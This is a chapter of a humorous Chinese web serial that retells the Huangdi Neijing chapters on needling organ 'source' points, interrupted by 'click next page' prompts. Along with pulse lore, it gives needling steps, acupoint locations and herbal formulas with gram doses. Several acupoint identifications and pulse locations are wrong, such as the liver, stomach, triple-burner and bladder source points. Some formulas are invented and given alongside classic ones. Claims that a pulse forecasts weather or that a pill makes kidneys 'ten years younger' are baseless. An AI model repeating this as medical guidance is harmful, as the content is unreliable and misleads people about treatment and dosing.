刺法论篇第七十二（十一） 咱们的身体是个国家，那肝脏绝对是那个威风凛凛、智勇双全的将军，它不仅负责指挥身体的各种“战役”（代谢、解毒），还擅长出谋划策（调节情绪、促进思考）。这不，岐伯都说了：“肝者，将军之官，谋虑出焉。”意思就是，肝脏啊，它就像是身体里的军事统帅，智慧与力量并存！ 但是呢，这位大将军要是生气了或者太累了，也会闹脾气，这时候咱们就得想办法哄哄它，比如通过针灸来给它“按摩按摩”。岐伯还提到了“可刺足厥阴之源”，这“足厥阴”啊，在现代中医里指的就是肝经，而“源”呢，一般指的是肝经的起始穴位——大敦穴。想象一下，大敦穴就像是肝脏将军的私人秘书，通过刺激它，就能给肝脏发送“放松一下，别太累了”的信号。 不过，咱们可不是随便拿根针就扎的哈，得讲究方法。首先，你得找到大敦穴，它位于咱们脚丫子的大拇指外侧，靠近指甲根部的那个位置。找到后，轻轻按揉几下，感受一下它的位置，然后深呼吸，放松身心。接下来，如果你是专业人士，可以用消毒过的针灸针，以轻柔而坚定的手法刺入大敦穴，注意深度别太深，大约几毫米就足够了，然后留针一段时间，让肝脏将军好好享受这份“关怀”。当然啦，如果你是针灸小白，还是乖乖去找专业的中医医师吧，毕竟安全第一嘛！ 说到治疗肝脏，中医里还有不少好方子，比如那个经典的“逍遥散”。这方子啊，简直就是给肝脏将军量身定制的“心灵鸡汤”。逍遥散由柴胡、当归、白芍、白术、茯苓、甘草这几味药组成。咱们来换算一下现代剂量，大概是这样的：柴胡15克，当归15克，白芍15克，白术15克，茯苓15克，炙甘草10克。这些药材凑在一起，就像是给肝脏将军准备的一场盛宴，既能疏肝解郁（让将军心情大好），又能养血健脾（给将军补充能量），简直是身心双重呵护。 制作逍遥散也不难，把这些药材洗干净后，放入砂锅中，加入适量的水，就像炖汤一样，慢慢熬煮。记住，火候要适中，别用大火猛煮，得用文火慢慢炖，让药材的精华一点点渗透出来。煮好后，滤掉药渣，剩下的药液就是咱们的“逍遥汤”了。每天喝上一碗，保证肝脏将军笑口常开，身体也跟着轻松自在起来。 再来说说脉象，中医里通过摸脉能知道肝脏的状况。肝脏对应的脉象叫“弦脉”，就像摸到一根绷紧的琴弦，既紧又直，还有点弹性。如果肝脏将军不高兴了，比如肝气郁结，脉象就会变得特别紧绷，感觉就像是在摸一根快要断掉的橡皮筋。这时候，咱们就得赶紧采取措施，比如上面提到的针灸大敦穴，或者喝点逍遥散，帮肝脏将军解解压，让它重新变回那个从容不迫、智勇双全的统帅。 岐伯又开始传授秘籍了：“胆者，中正之官，决断出焉。”这话咋一听，还以为是在说朝廷里的大臣呢，其实岐伯大神是在讲咱们身体里的胆器官。胆啊，就像是朝廷里的“纪委书记”，公正无私，一切判断、决策都得靠它。要是胆不好，嘿，那你做起决定来可就犹豫不决，跟个墙头草似的了。 岐伯接着说：“可刺足少阳之源。”哎呀，这可是个治疗胆病的高招啊！足少阳，听起来就像是武侠小说里的神秘武功，其实就是咱们脚上的穴位——足少阳胆经的源头，也就是“丘墟穴”。想象一下，你正被胆病折磨得苦不堪言，突然，一位大侠（针灸师）出现，轻轻一针扎在你的“丘墟穴”上，嗖的一下，病痛就烟消云散了，是不是觉得特别带劲？ 接下来，岐伯又提到了“膻中者，臣使之官，喜乐出焉”。膻中啊，这可不是什么官名，而是咱们胸口的一块宝地，中医里管它叫“气海”，是心情的调节器。要是膻中不畅，嘿嘿，那你可就笑不出来了，整天愁眉苦脸的，跟个苦瓜似的。所以啊，保持膻中通畅，才是快乐生活的秘诀哦！ 岐伯又说：“可刺心包络所流。”哈哈，这又是啥高招？心包络啊，就像是心脏的小秘书，帮心脏处理各种事务。要是心包络出了问题，心脏可就得受累了。这时候，咱们的针灸大侠又来了，一针扎在“心包经”的“劳宫穴”上，嘿，心脏立马就舒服多了，心情也跟着好起来了，就像是吃了颗开心果似的。 岐伯又说啦：“脾为谏议之官，知周出焉，可刺脾之源。”这话听着就挺有范儿，咱们来给它加点料。 首先，“脾为谏议之官”，这话咋理解呢？想象一下，脾就像是咱们身体里的纪检委书记，或者说是那个总爱给你提意见的好朋友。你干啥事儿，它都得插一脚，告诉你这样不对，那样才好。为啥？因为它“知周出焉”，就是说，脾这家伙聪明着呢，啥都知道，四面八方的事儿它都门儿清。所以啊，一旦你身体有啥不对劲，脾第一个跳出来说：“嘿，哥们儿，你得注意啦！” 这章没有结束，请点击下一页继续阅读！那么，“可刺脾之源”呢？这听起来有点吓人，其实在古代中医里，针灸可是个技术活，也是个艺术活。这里的“刺脾之源”，并不是说直接拿针去扎脾（脾可是个娇贵的宝宝，轻易动不得），而是指刺激与脾相关的穴位，帮它疏通疏通，让它更好地履行“谏议之官”的职责。 说到这儿，咱们得聊聊那些能让脾开心起来的穴位，比如着名的“太白穴”。太白穴在哪儿呢？就在你脚丫子的大脚趾下面，靠近脚掌内侧的那个位置。想象一下，你晚上泡脚的时候，轻轻揉揉这个穴位，就像是在给脾大人按摩，它一高兴，说不定就给你多分配点“气血红包”呢！ 不过，要是脾大人真的生气了，比如你因为加班熬夜、暴饮暴食把它惹毛了，那光靠按摩可能不够，这时候就得请出中医里的“方剂”来帮忙了。咱们来个简单的，比如“四君子汤”。这方子听起来就像四个温文尔雅的书生，专门来调解脾胃的小矛盾。 四君子汤怎么做呢？其实就是人参、白术、茯苓、甘草这四味药。换算成现代剂量，大概是：人参9克（想象成一小把），白术9克（想象成一小堆），茯苓9克（想象成一小片云朵），甘草6克（想象成一小撮糖）。把这四样东西放在一起，加水煮煮，就像是在煮一锅温柔的“和解茶”。喝下去之后，脾大人估计会抿着嘴笑：“嗯，这还差不多。” 当然啦，说到中医，脉象也是绕不开的话题。脉象就像是脾大人给你写的秘密信，你得学会解读它。比如，如果脾不太高兴，脉象可能会显得“濡缓”，就像是细雨绵绵，软绵绵的，缺乏力量。这时候，你就知道，得赶紧给脾大人送温暖了，要么是多吃点健脾的食物，要么是好好睡一觉，让脾大人也休息一下。 岐伯慢悠悠地说：“胃啊，那可是咱们身体里的‘仓廪之官’，说白了就是吃货的仓库长官！五味杂陈的食物，都得先经过它这一关，才能变成咱们身体的营养呢！” 嘿，你别说，岐伯这话还真形象。胃就像是一个超级大的储物间，啥酸甜苦辣咸，都得先在这儿登记入库，然后再按需分发。要是胃出了问题，那可真就成了“仓库大乱斗”，各种食物在里头打架，咱们的身体可就遭殃了！ 不过岐伯可不止说了这么一句，他还说：“可刺胃之源。”哎呀，这可就厉害了！在古代，针灸可是个大学问，岐伯这是要咱们通过针灸来调理胃啊！ 那么，“胃之源”在哪儿呢？在现代穴位里，咱们可以把它理解为“足三里”。足三里啊，那可是胃经的“大管家”，按一按、灸一灸，胃里的那些小脾气就都得老老实实听话了。想象一下，你对着足三里轻轻一按，就像是对胃说：“嘿，老兄，悠着点，别乱来！”胃呢，也就乖乖听话了。 说到这针灸啊，岐伯那时候可没咱们现在这么方便，有各种各样的针具和艾灸条。他们啊，得自己动手，用石头或者骨头磨出针来，再点燃艾草来灸。这活儿，可真够费劲的！不过话说回来，这也体现了咱们老祖宗的智慧和毅力嘛！ 不过咱们现在可不用这么麻烦了，市面上有各种各样的针灸器具，方便得很。要是你觉得胃有点不舒服，比如吃多了撑得慌，或者饿得直哆嗦，都可以试着灸一灸足三里。说不定啊，灸完之后，你就能感觉到一股暖流从脚底涌上来，直达胃部，那叫一个舒坦！ 当然啦，岐伯的智慧可不止这些。他还告诉我们，胃要是出了问题，脉象上可是能看出来的。比如啊，你要是胃火太旺，脉象就可能又急又快，像个小马达似的转个不停。这时候啊，你就得注意降降胃火了，不然啊，这“小马达”可是会烧坏的！ 反过来呢，要是胃太寒了，脉象就可能又慢又沉，像个懒洋洋的大懒猫似的。这时候啊，你就得给它加点温，让它暖和暖和。不然啊，这“大懒猫”可是会赖在床上不起来的！ 说到这胃的保养啊，岐伯其实还给我们留下了不少好方子。不过呢，这些方子可不是随便吃的，得根据个人体质和病情来调配。就像做饭一样，得根据口味和食材来搭配，才能做出美味的佳肴来。 比如说啊，你要是胃火太旺了，岐伯可能会给你开个“清胃散”。这方子啊，就像是一盆凉水，能把你那烧得旺旺的胃火给浇灭。不过呢，这凉水可不是随便浇的，得按照一定的比例来调配。比如啊，黄连啊、生地黄啊、牡丹皮啊、当归啊、升麻啊，这些药材都得按一定的量来放。 反过来呢，要是胃太寒了，岐伯可能会给你开个“理中丸”。这方子啊，就像是一盆暖水，能把你那冷冰冰的胃给捂暖和了。同样的啊，这暖水也不是随便捂的，也得按照一定的比例来调配。比如啊，人参啊、干姜啊、甘草啊、白术啊，这些药材也得按一定的量来放。 岐伯又说道：“大肠者传道之官，变化出焉，可刺大肠之源。”听着挺玄乎的，是吧？ 这章没有结束，请点击下一页继续阅读！首先，咱们得明白，“大肠者传道之官”是啥意思。大肠啊，就像是公司里的快递小哥，食物残渣从胃那里接收过来，它就负责一路打包、传递，直到把“包裹”安全送到肛门口，排出体外。这过程里，食物残渣还得经历一场“华丽转身”，从臭烘烘的残渣变成一坨坨便便，所以说“变化出焉”。这大肠啊，不仅勤劳，还特别重要，万一它罢工了，咱们可就惨喽！ 那么，“可刺大肠之源”又是啥意思呢？这里的“刺”，可不是用针去扎大肠啊，那样早就穿孔了！岐伯的意思是说，可以通过针灸的方法，刺激大肠的相关穴位，来调节大肠的功能。这穴位嘛，就像是大肠的“遥控器”，轻轻一按，大肠就得乖乖听话。 比如说，大肠的“遥控器”之一就是“合谷穴”。这个穴位在哪里呢？伸出你的右手，大拇指和食指并拢，虎口那里鼓起来的一块肌肉，就是合谷穴啦！没事多揉揉这个穴位，不仅能促进大肠蠕动，还能缓解便秘、头痛、牙痛等一堆毛病。记得啊，得用点儿力，不然大肠“遥控器”可没反应！ 接下来，咱们再聊聊方剂。岐伯要是开个方子，那肯定是既简单又有效。比如说，要想调理大肠，可以试试“大黄通便汤”。这名字听着就霸气吧？其实，方子也就大黄一味药。大黄啊，那可是通便界的“扛把子”，不管是热结便秘还是冷积便秘，它都能搞定。 当然啦，方剂可不是随便吃的。你得先确定自己是不是真需要通便，别一便秘就狂吃大黄，小心拉得腿都软了！而且啊，大黄的用量也得掌握好，一般来说，每次用个5-15克就差不多了。太多了？那可就得准备一卷卫生纸，随时准备“救场”啦！ 再来说说脉象。脉象啊，就像是咱们身体的“天气预报”，能反映出身体的各种状况。岐伯那个时代啊，医生们可是通过摸脉来判断病情的。那么，大肠要是出问题了，脉象会是怎样的呢？ 一般来说啊，如果大肠有热毒、有炎症啥的，脉象就会比较洪大、有力，就像是夏天的烈日一样，热烘烘的。这时候啊，你就得注意了，可能是大肠在向你“求救”呢！当然了，脉象这东西啊，可不是那么好摸的。你得静下心来，慢慢感受那细微的跳动，就像是跟自己的身体进行一场深度对话。 不过啊，别紧张！就算你真的摸出了点儿问题，也别急着下结论。毕竟啊，脉象这玩意儿还得结合其他的症状一起来看。比如说啊，你要是便秘了好几天，脉象又洪大有力，那可能真的是大肠热毒了；但要是你还伴随着发烧、咳嗽啥的，那可能就是感冒了，跟大肠就没啥关系了。 刺法论篇第七十二（十二） 小肠就像是一个超级豪华的“食物中转站”，岐伯说了：“小肠者，受盛之官，化物出焉。”这话啥意思呢？就是说，小肠负责接收从胃那里下来的食物残渣，然后像个勤劳的工人一样，对这些“原材料”进行精细加工，把营养吸收，把废物排出，简直就是身体里的“营养师兼清洁工”。 那么，如果小肠出了点小状况，比如消化不良、吸收不好，咱们中医怎么办呢？岐伯又说了：“可刺小肠之源。”这里的“刺”，可不是随便拿根针乱扎哦，而是指针灸疗法，通过刺激特定的穴位来调节身体机能。说到小肠的“源”，咱们现代中医一般认为是与小肠经相关的穴位，比如“腕骨穴”。想象一下，腕骨穴就像是小肠这条“生产线”上的“紧急按钮”，轻轻一按（当然，是专业人士用针灸针按），就能让小肠的工作状态恢复到最佳。 不过，咱们也别光想着针灸，中医讲究的是“综合治理”，除了针灸，还有中药方剂呢。咱们可以根据小肠的功能，开一个“小肠调理汤”。这个汤里，咱们得有点“清热利湿”的，比如黄连（大约5克），它就像是小肠里的“清洁工”，能清除那些不必要的湿热；再来点“健脾益气”的，比如党参（大约15克）和白术（大约10克），它们就像是给小肠加油打气的“后勤部长”，让小肠更有动力去工作；当然，还得有点“消食导滞”的，比如山楂（大约10克），它就像是小肠里的“小助手”，帮助消化那些顽固的食物残渣。 接下来，咱们聊聊脉象。中医看病，望闻问切，这“切”指的就是切脉，也就是摸脉搏。小肠出问题的时候，脉象上会有什么表现呢？嗯，一般来说，如果小肠功能不好，脉象可能会显得“细弱”或者“滑数”。细弱就像是细线一样，摸起来软绵绵的，说明气血不足；滑数呢，就像是快速滑过的小石子，摸起来急促有力，可能是体内有热或者湿气重。 说到这里，不得不提一句，中医养生，重在平时。要想小肠健康，饮食可是关键。少吃油腻、辛辣、生冷的食物，多吃蔬菜、水果、全谷物，让小肠的“生产线”保持顺畅，这样才能真正做到“吃啥啥香，身体倍儿棒”。 想象一下，小肠如果会说话，它可能会说：“嘿，哥们儿，我可累坏了！每天忙着处理这些五花八门的食物，还得挑出营养给你，剩下的垃圾还得打包送走。你得对我好点儿，不然我罢工了，你可就惨咯！”所以啊，咱们得好好对待这位“受盛之官”，别让它太累了，不然，到时候营养吸收不了，毒素排不出去，那可就真成了“自食其果”了。 岐伯说了：“肾者作强之官，伎巧出焉，刺其肾之源。” 这句话啊，简直就是给咱们的肾脏颁发了一个“最佳劳模奖”，还附带了一份“刺激指南”，咱们不妨一起来探索探索！ 首先，咱们得明白，“肾者作强之官”是什么意思。想象一下，肾脏就像是咱们身体的“超级能量站”，24小时不间断地为咱们提供动力，让咱们能够“作强”——也就是变得力大无穷，精力满满。而“伎巧出焉”，则是说，肾脏健康了，咱们的脑子也灵光，创意、点子就像泉涌一样，根本停不下来。所以啊，肾脏简直就是咱们身体的“创意总监”加“能量库”！ 那么，“刺其肾之源”又是怎么回事呢？别急，咱们先来个穴位小课堂。在古代，穴位名字都超级文艺，比如“肾俞”、“太溪”啥的，听着就像武侠小说里的神秘穴位。但咱们今天，得用现代的穴位名称来说事儿。如果按照现代中医的理解，“肾之源”大致可以理解为跟肾脏功能密切相关的几个关键穴位，比如“肾俞穴”（在第二腰椎棘突旁开1.5寸处，也就是咱们常说的“腰眼”附近）、“太溪穴”（在内踝后方与脚跟骨筋腱之间的凹陷处），还有“复溜穴”（在小腿内侧，太溪穴直上2寸的地方）。 想象一下，如果咱们要给肾脏来个“加油打气”的仪式，那就得好好按摩或者针灸这些穴位。不过，别急着动手哦，咱们先来学学怎么制配一个“补肾神器”——当然了，这不是什么魔法药水，而是中医里的经典方剂，比如“六味地黄丸”。 “六味地黄丸”，听起来是不是像某个武林秘籍里的武功？其实，它可是中医用来滋补肾阴的宝贝。这个方子由熟地黄、山茱萸、山药、泽泻、茯苓、丹皮六味药组成。咱们来换算一下，按照现代的标准剂量，大概是：熟地黄24克、山茱萸12克、山药12克、泽泻9克、茯苓9克、丹皮9克。看这配方，简直就是给肾脏定制的“营养大餐”，既滋补又不上 火，长期服用，还能让咱们的肾脏“年轻十岁”呢！ 不过，吃归吃，针灸归针灸，咱们还得聊聊脉象，这可是中医的“独门秘籍”。想象一下，中医大夫往你手腕上一搭，然后就开始“读心术”，其实啊，他们是在看你的脉象。肾脏的脉象，通常跟“尺脉”有关。尺脉，就是咱们手腕内侧靠近小指那一侧的脉象，它就像肾脏的“晴雨表”，能反映出肾脏的健康状况。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！如果尺脉沉细无力，那就像是肾脏在说：“主人，我累啦，快给我充充电吧！”这时候，咱们就得赶紧行动起来，无论是通过食补、针灸还是调整作息，都得让肾脏好好休息一下。反之，如果尺脉洪大有力，嘿，那说明你的肾脏就像刚充满电的电动车，动力满满，创意无限！ 不过，咱们也别忘了，肾脏虽然强大，但也需要咱们平时好好呵护。比如，多喝水，少吃盐，别熬夜，还有，别忘了多给肾脏做做“按摩”——无论是按摩穴位，还是吃六味地黄丸，都是不错的选择。 咱们再来个幽默小总结：肾脏啊，就像是咱们身体的“超级英雄”，既要打怪兽（排毒），又要拯救世界（提供能量），还得时不时来点创意大爆炸（伎巧出焉）。所以啊，咱们得好好对待这位“超级英雄”，别让它累垮了。不然，到时候，别说力大无穷了，可能连起床的力气都没有了，那可就悲剧啦！ 黄帝眉头紧锁，对着岐伯发问：“岐伯啊，你说这‘三焦’到底是个啥玩意儿？为啥它能在咱们身体里扮演那么重要的角色呢？” 岐伯一听，哈哈一笑，摆出一副“今天我来讲课”的架势，慢悠悠地说：“这事儿啊，说来话长，但听我细细道来，保证让你听得津津有味，还想再听一遍！” “首先，咱们得把三焦想象成是人体的‘水利部长’，对，就是那个负责全国水资源调配的大佬。在咱们的身体里，三焦就像是一个庞大的水利系统，它负责把从脾胃那里吸收来的水分和营养，通过一系列复杂的管道（其实就是经络啦），输送到全身各个角落。这活儿可不简单，得精确到每一滴水都不能浪费，都得用在刀刃上！” 黄帝一听，眼睛一亮：“哟呵，这么牛掰？那它要是出了问题，岂不是全身都要遭殃？” 岐伯点点头，故作神秘地说：“没错，所以咱们得好好保养它。你知道吗？刺三焦之源，那可是古代医术里的一门绝活。不过咱们今天不讲怎么刺，先说说怎么找到这个‘源’。” “在现代医学里，咱们把这个‘源’大致对应到了一个穴位上，那就是‘石门穴’。不过别急，先别急着去找针，听我讲完。石门穴啊，它藏在咱们肚子上，脐下两寸的地方，就像是守护三焦水利系统的大门。刺激这个穴位，就相当于给三焦系统做了一次深度spa，能让它更加顺畅地工作。” 黄帝听得入迷，忍不住插话：“那要是我想在家自己给三焦做个‘保养’，该怎么做呢？总不能真拿针去刺吧？” 岐伯笑着摇摇头：“当然不是，咱们有更安全、更舒适的方法。比如，你可以试着按摩这个穴位，每天早晚两次，每次按摩个三五分钟，力度嘛，就像是在给肚子做轻柔的按摩，这样既舒服又能达到效果。” “不过，要是你真想更进一步，那我得给你推荐一个‘三焦畅通汤’了。这个方子啊，简单又实用，主要成分有茯苓15克、泽泻10克、猪苓10克、白术10克，还有桂枝5克。把这些药材放在一起，加水煮成汤，每天喝上一碗，保证你的三焦系统像刚疏通过的下水道一样，畅通无阻！” 黄帝一听，眼睛笑成了月牙：“哈哈，这方子听起来就不错，我得赶紧记下来，回去让御医给朕熬上几锅！” 岐伯这时话锋一转，又谈到了脉象：“说到三焦，不得不提它的脉象。你知道吗？健康的三焦脉象，就像是一条缓缓流淌的小溪，不急不缓，节奏均匀。但要是三焦出了问题，脉象就会变得杂乱无章，就像是暴风雨中的河流，一会儿急一会儿缓，让人摸不着头脑。” 岐伯又说了：“膀胱啊，那可是咱们身体里的一个大仓库，专门负责收藏那些宝贵的‘精液’（这里可不是你们想的那个精液哦，而是中医里泛指的营养精华和水分）。但是呢，这膀胱可不是个死脑筋的仓库管理员，它懂得变通，知道什么时候该开门放货。只有当这些精华被‘气化’了，也就是经过一系列神奇 的转化后，它们才能顺利出库，变成咱们日常所需的尿液，排出体外。” 说到这里，你是不是已经对膀胱这位“州都之官”刮目相看了？别急，咱们还没讲到最精彩的部分呢！岐伯大爷接着说了：“要是这膀胱出了点小状况，比如太满了或者太干了，咱们就得给它来点温柔的‘刺激疗法’——刺它的‘源头’。” 这里的“刺”可不是真的拿针去扎膀胱啊，咱们中医讲究的是穴位疗法。在古代，膀胱的“源头”有个很文艺的名字，叫做“至阴穴”，不过现在咱们更习惯叫它“足通谷穴”，它就藏在咱们的小脚趾外侧，靠近关节的那个小窝里。想象一下，你正悠闲地泡着脚，突然想到膀胱君可能有点小情绪，于是你轻轻一按，嘿，就像是给膀胱发了个温柔的“微信”，告诉它：“嘿，老兄，该动动了！” 说到这，我突然有个脑洞大开的想法：如果膀胱能说话，它可能会回复：“哎呀，你这手法不错，下次能不能带点按摩油，再来个全身spa？”哈哈，开个玩笑，不过说真的，正确的穴位按摩确实能帮助我们调节身体，缓解一些不适。 这章没有结束，请点击下一页继续阅读！但是，如果你觉得自己手法不够专业，或者膀胱问题有点大条，怎么办？别急，中医里还有一套更高级的“武器”——方剂！我可以给大家一个“膀胱清泉饮”：取茯苓30克（它可是个超级吸水能手，能帮膀胱减轻负担），泽泻15克（这位可是利尿小能手，能让尿液顺畅流出），再加点猪苓10克（它能帮助调节体内的水液分布，让膀胱不再孤单），最后，撒上一把炙甘草5克（这位可是调味大师，能让整个方子更加温和，不伤人正气）。把这些药材放到砂锅里，用文火慢慢炖煮，直到香气四溢，一碗清澈的“膀胱清泉饮”就大功告成了！ 说完了方剂，咱们再来聊聊脉象。脉象，那可是中医里的“秘密代码”，通过摸脉，医生就能大致判断你的身体状况。如果膀胱出了问题，脉象上可能会有所反映，比如脉象可能会变得比较沉、迟，就像是冬天的河水，流得慢悠悠的，还带着点寒意。这时候，中医师就会像侦探一样，仔细分析这些“线索”，然后给出最适合你的调理方案。 岐伯说：“咱们人体啊，就像是个大公司，里面有十二个重要的部门经理，他们一个叫心，一个叫肝，一个叫脾，一个叫肺，一个叫肾，还有胃、大肠、小肠、三焦、膀胱、胆和心包络，这些大佬可不能闹矛盾，得团结一致，公司才能蒸蒸日上嘛！” 岐伯接着又说：“所以啊，咱们中医的针灸疗法，那可不是简单的治治病那么简单，它更像是一套高级的养生秘籍，全名叫做‘全神养真大法’，听着就高端大气上档次对吧？这不仅仅是为了治病，更重要的是让你整个人从内到外散发出一种‘我很牛’的气质，就像武林高手修炼内功一样，讲究的是一个‘修真之道’。” 说到这里，岐伯还特意强调了：“要想修真，首先你得学会怎么和你的‘神’（也就是你的精神、意识）搞好关系，得把它养得白白胖胖的，别让它天天焦虑得跟热锅上的蚂蚁似的。你得让它觉得，哎呀，这身体真是我的福地啊，住着特舒服！这就是咱们说的‘要修养和神也’。” 岐伯接着又说：“这修真之道啊，最重要的是持之以恒，就像你每天刷牙洗脸一样，不能偷懒。你得给你的‘神’补补营养，让它固若金汤，这样你的精气神就不会乱跑了。记住，当你的‘神’稳如老狗，不分心的时候，那就算你不在刻意修炼，也是全真状态了。反过来，如果你的‘人神’整天东游西荡，不守本分，那你就别想达到真正的至高境界了。” 说到这里，岐伯开始放大招了：“想要达到真正的至高境界，关键在于领悟‘天玄’的奥秘。这‘天玄’啊，咱们可以理解为宇宙间的真理，你得让你的‘神’守住这份来自天地的呼吸，就像是回到了妈妈怀抱里的婴儿，一切都那么纯粹，那么自然。这时候，你就已经回到了生命的本源，咱们把这叫做‘归宗’。” 好啦，说了这么多高大上的理论，咱们来点接地气的。假如你真的想修真，除了冥想、打坐等心灵修炼，针灸也是个不错的选择。比如，你可以找找“神门穴”（就在手腕那里，小指那边的腕横纹上），这个穴位就像是你的“神”的私人助理，经常按按它，能帮你安抚心神，让你不再焦虑。 再来个穴位——“足三里”（在小腿外侧，膝盖骨下三寸的地方），这可是个养生大穴，号称“万能穴”，每天按 一按，就像是给你的身体充了个电，精力满满，啥病都怕它！ 至于方剂嘛，咱们可以来个“全神养真汤”。想象一下，你需要人参（补气大神，大概10克）、茯苓（安神小能手，15克）、远志（让你记忆力超群，10克）、酸枣仁（治失眠神器，20克）、当归（补血皇后，12克）、黄芪（提高免疫力，20克）、龙眼肉（安神又补血，15克），还有甘草（调和药性，5克）。把这些宝贝放到锅里，加水煮个一两个小时，嘿，一碗热腾腾的“全神养真汤”就出炉了！喝下去，保证你精神焕发，比打了鸡血还精神！ 本病论篇第七十三（一） 黄帝这天心情挺好，就拉着岐伯聊起了天：“岐伯啊，那个天元九窒的事儿，我已经搞明白了，感觉自己就像掌握了宇宙的半壁江山一样！不过，我还想知道，那个气交失守，到底是个啥玩意儿？你给讲讲呗！” 岐伯一听，心想这黄帝还真是个好奇宝宝，但谁让他是老大呢，于是就慢悠悠地说：“黄帝啊，你这问题问得好！气交失守，说白了，就是咱们身体的那些气，它们本该按照规矩上下升降、迁正退位的，结果它们却玩起了‘你追我赶’的游戏，不按照经论上的规矩来了。这就好比是上班打卡，大家本该按时到岗，结果却都迟到了，还互相推诿，你说这不乱套了嘛！” 黄帝一听，眼睛一亮：“哦？这么说来，气交失守就像是‘职场摸鱼大会’了？那它们这么一乱，会发生啥事儿呢？” 岐伯叹了口气：“这可不是好事儿啊！气交一旦失守，位置乱了套，咱们身体里的气候也就跟着变了。这变化可不是一般的变，而是变得非常诡异，就像是四季突然乱了顺序，冬天穿短袖、夏天裹棉袄，你说这能不生病嘛！” 黄帝一听，哈哈大笑：“你这比喻真绝了！那这么说来，气交失守就是身体的‘四季大混乱’了？那老百姓们可就得遭殃了，一个个都得变成‘病号大侠’！” 岐伯也忍不住笑了：“可不是嘛！所以这气交失守啊，咱们得重视起来。不然的话，身体里的那些气一旦闹起脾气来，那可真够咱们喝一壶的！” 黄帝点了点头：“嗯，你说得对！那咱们得想个办法，怎么才能让这些气乖乖听话呢？” 岐伯摸了摸下巴：“这个嘛，其实也不难。咱们得先从生活习惯上下功夫，比如按时作息、合理饮食、适量运动等等。这些就像是给身体里的气制定了一套‘规章制度’，让它们知道什么时候该干什么事。” 黄帝一听，眼睛又亮了：“好主意！那咱们再来点实际的，比如吃点啥药啊、按摩哪个穴位啊之类的，能不能让这些气更听话呢？” 岐伯想了想：“吃药嘛，确实可以。不过得根据每个人的体质和病情来开方子，不能一概而论。至于按摩穴位嘛，我倒是可以给你推荐几个。比如足三里，这可是个‘万能穴’，能调理脾胃、增强体质；还有太冲穴，能疏肝解郁、缓解压力。这两个穴位就像是身体的‘小卫士’，经常按摩按摩，能让身体里的气更顺畅。” 黄帝一听，立刻来了精神：“快说说，这足三里和太冲穴到底在哪里？我得赶紧记下来，以后好给老百姓们推荐！” 岐伯于是耐心地给黄帝讲解：“足三里嘛，就在小腿外侧，膝盖骨下面三寸的地方。你用手按一按，如果感觉酸胀酸胀的，那就是找对地方了。太冲穴呢，在脚背上，大脚趾和二脚趾之间的缝隙往后推，推到一个凹陷的地方就是了。这两个穴位啊，就像是身体的‘宝藏’，经常挖掘挖掘，好处多多哦！” 黄帝一听，哈哈大笑：“你这比喻真是绝了！那我以后就把足三里和太冲穴叫做‘身体宝藏穴’了！对了，岐伯啊，你说这气交失守跟脉象有没有关系呢？” 岐伯点了点头：“当然有关系了！气交失守的时候，脉象也会跟着变化。比如脉象变得沉迟无力，那可能是身体里的气不足了；脉象变得洪大有力，那可能是身体里的气过盛了。就像是咱们看天气预报一样，脉象就是身体里的‘气象预报员’，能告诉咱们身体里的气现在是个啥状态。” 黄帝对岐伯说：“嘿，岐伯，我发现天地间的气儿有时候升升降降的，就像城市交通高峰期一样，堵得慌。这到底是为啥呢？还有啊，这气儿交换一变，咱们怎么才能提前知道，好躲个清净呢？” 岐伯一听，眼睛一亮，心想：这黄帝陛下真是会找乐子啊，连天地间的气流都研究上了。于是，他笑眯眯地说：“哈哈，陛下这问题问得真有水平！简直就是哲学与科学的完美结合嘛！让我来给您说道说道。” 岐伯清了清嗓子，开始了他的“气象学”讲座：“陛下您看，这天地之间的气儿交换，那可是大自然的秘密机关，咱们得把它想象成一个超级大转盘，有时候转得顺溜，有时候就卡壳了。为啥卡壳呢？原因 可多了去了！” “比如说啊，地气想往上升，结果地面上的环境不给力，比如湿气太重、寒气太盛，就像冬天你穿个大棉袄还想往上蹦跶，那不得劲儿啊！这就叫‘地窒刑之’，地气被地面环境给‘拘留’了。” 黄帝一听，哈哈大笑：“原来如此，那还有啥原因呢？” 岐伯接着说：“还有啊，这五运六气也有调皮的时候。比如说，某个年份的木气特别旺盛，提前跑来了，本该按顺序来的，它却非要插队，结果呢，其他的气儿都乱了套，升降都乱了节奏。这就好比咱们开车，本来好好的，突然来个加塞儿的，你说堵不堵？” 黄帝点头表示赞同，又问：“那这些气儿升降不正常，会有什么影响呢？” 岐伯神秘一笑：“影响可大了去了！有的气儿想升升不上去，就像你爬楼梯，爬了一半，突然楼梯断了；有的呢，想降降不下来，就像降落伞打不开，直接挂在半空中；还有的更绝，升降都停了，整个天地就像被按了暂停键。这些变化，各有各的不同，就像咱们人类的情绪，有时候高兴，有时候悲伤，有时候还来个混合型，让人捉摸不透。” 黄帝听得津津有味，又问：“那这些变化，会不会带来什么灾难呢？” 岐伯点点头：“当然会啦！不过呢，这些灾难也有轻重之分，就像咱们感冒，有时候只是打个喷嚏，有时候就得卧床不起了。天地间的这些变化，也是一样，有的只是小打小闹，比如下场小雨，刮点小风；有的那可就是大招了，比如洪水、干旱、地震啥的，那可就得小心应对了。” 黄帝一听，恍然大悟：“原来如此！那咱们人类有没有什么办法可以提前预知这些变化，好做准备呢？” 岐伯微微一笑：“当然有啦！不过这事儿得靠咱们中医的智慧。通过观察天象、气候、动植物的变化，再结合咱们人体的反应，比如脉象、舌苔啥的，就能大致判断出天地间的气儿是不是又要开始‘堵车’了。” 黄帝一听，眼睛更亮了：“哇塞，这么神奇！那你快给我讲讲脉象吧，我想学学怎么给自己把脉，看看啥时候该躲家里不出门。” 岐伯于是开始了他的“脉象教学”：“脉象啊，那可是咱们身体的天气预报。比如说，如果你感觉自己的脉跳得跟小兔子似的，噌噌噌的，那可能就是要下雨了，或者有啥让你紧张的事儿要发生；如果脉跳得慢悠悠的，跟大爷散步似的，那可能是天气要转好了，或者你最近心情不错。” 黄帝听得哈哈大笑：“这也太有趣了吧！那脉象还能看出啥来？” 岐伯继续：“多了去了！比如说，如果你发现自己的脉跳得跟打鼓似的，咚咚咚的，那可能是你身体里的‘小宇宙’要爆发了，得赶紧调理一下；如果脉跳得跟蚊子似的，细细的，那可能是你最近太累了，得好好休息。” 黄帝一听，连连点头：“原来如此！那咱们中医有没有什么方子，可以提前调理身体，避免这些天地变化带来的不适呢？” 